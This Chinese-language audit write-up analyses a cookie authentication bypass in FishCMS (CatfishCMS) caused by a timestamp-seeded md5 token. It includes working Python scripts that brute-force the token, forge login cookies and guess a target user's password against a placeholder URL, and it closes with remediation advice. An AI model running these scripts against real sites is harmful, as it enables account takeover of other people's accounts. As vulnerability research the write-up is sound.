某fishcms 之记一次有趣的审计
字数 1001 2025-08-29 08:32:30
FishCMS 认证绕过漏洞分析与利用
漏洞概述
本文详细分析 FishCMS (CatfishCMS) 中的一个有趣的认证绕过漏洞,该漏洞允许攻击者在知道目标用户名的情况下,通过爆破密码来绕过认证机制。
漏洞发现位置
漏洞存在于 user/controller/common.php 文件中的认证逻辑。
关键代码分析
认证流程
认证流程包含三个关键判断条件:
// 第一个判断条件
if(
!Session::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user')
)
// 第二个判断条件
$cookie_user_p = Cache::get('cookie_user_p');
if(
Cookie::has($this->session_prefix.'user_p')
&& $cookie_user_p !== false
)
// 第三个判断条件
$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass 和 user_type
if(
!empty($user)
&& md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')
)
关键变量说明
$this->session_prefix:由网站根目录生成,格式为catfish+ 根目录值(替换特殊字符)$cookie_user_p:通过Cache::get('cookie_user_p')获取,仅在登录时设置
认证令牌生成
登录时生成的关键代码:
$cookie_user_p = md5(time()); // 使用当前时间戳的MD5作为种子
Cookie::set(前缀.'user_p', md5($cookie_user_p.$user['user_pass']), 604800);
漏洞原理
- 认证依赖:系统在用户未登录时,允许通过Cookie中的信息进行认证
- 弱随机数:
$cookie_user_p使用md5(time())生成,可被爆破 - 持久性:注销操作不会清除Cache中的
cookie_user_p值
漏洞利用步骤
1. 获取必要信息
- 正常登录一个账户,勾选"记住我"
- 记录登录后的Cookie:
catfishCatfishCMS|4?8?75user_p(示例值:7541e2cc792bd77faf926e96a6006031)- 前缀 (
catfishCatfishCMS|4?8?75)
2. 爆破 $cookie_user_p
使用近似时间戳爆破:
import hashlib
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
cookie_user_p = 1558287843 # 近似时间戳
login_password = '123456' # 已知密码
target_hash = "7541e2cc792bd77faf926e96a6006031" # 示例user_p
while True:
if md5(md5(str(cookie_user_p)) + md5(login_password)) == target_hash:
break
cookie_user_p -= 1
print(cookie_user_p) # 输出爆破出的时间戳
3. 构造攻击Cookie
爆破出正确的时间戳后,构造以下Cookie:
catfishCatfishCMS|4?8?75user_id=any
catfishCatfishCMS|4?8?75user=目标用户名
catfishCatfishCMS|4?8?75user_p=md5(md5(爆破出的时间戳)+md5(目标密码))
4. 自动化爆破脚本
import requests
import hashlib
passwords = [
'123456', '12345', '123456789', 'password', 'iloveyou',
'princess', '1234567', 'rockyou', '12345678', 'abc123'
]
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
url = "http://target.com/user.html"
session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀
user_p = '7541e2cc792bd77faf926e96a6006031' # 示例user_p
login_password = '123456' # 已知密码
cookie_user_p = 1558287843 # 近似时间戳
# 爆破时间戳
while True:
if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:
break
cookie_user_p -= 1
# 爆破目标账户
username = 'target_user'
for passwd in passwords:
print(f"Testing: {passwd}")
cookie = {
"think_var": "zh-cn",
"PHPSESSID": "session_id",
session_prefix+"user_id": "any",
session_prefix+"user": username,
session_prefix+"user_p": md5(md5(str(cookie_user_p))+md5(passwd)),
}
r = requests.get(url, cookies=cookie, allow_redirects=False)
if 'location' not in r.headers or 'login' not in r.headers.get('location', ''):
print(f"Success! Credentials: {username}:{passwd}")
break
漏洞修复建议
- 使用更强的随机数生成
$cookie_user_p,如:$cookie_user_p = md5(uniqid(mt_rand(), true)); - 在注销时清除Cache中的
cookie_user_p值 - 增加密码尝试次数限制
- 使用更强的哈希算法(如bcrypt)替代简单的MD5
漏洞影响
该漏洞允许攻击者在知道用户名的情况下:
- 爆破用户密码
- 绕过认证机制
- 获取用户会话
虽然需要知道目标用户名,但在CMS系统中,用户名往往容易获取(如作者名、管理员名等)。
总结
FishCMS的这个认证绕过漏洞展示了几个常见的安全问题:
- 弱随机数使用
- 不完整的会话清理
- 依赖客户端可控的认证令牌
- 简单的哈希算法
开发人员应当注意认证逻辑中的这些陷阱,使用更强的加密方法和更完善的会话管理机制。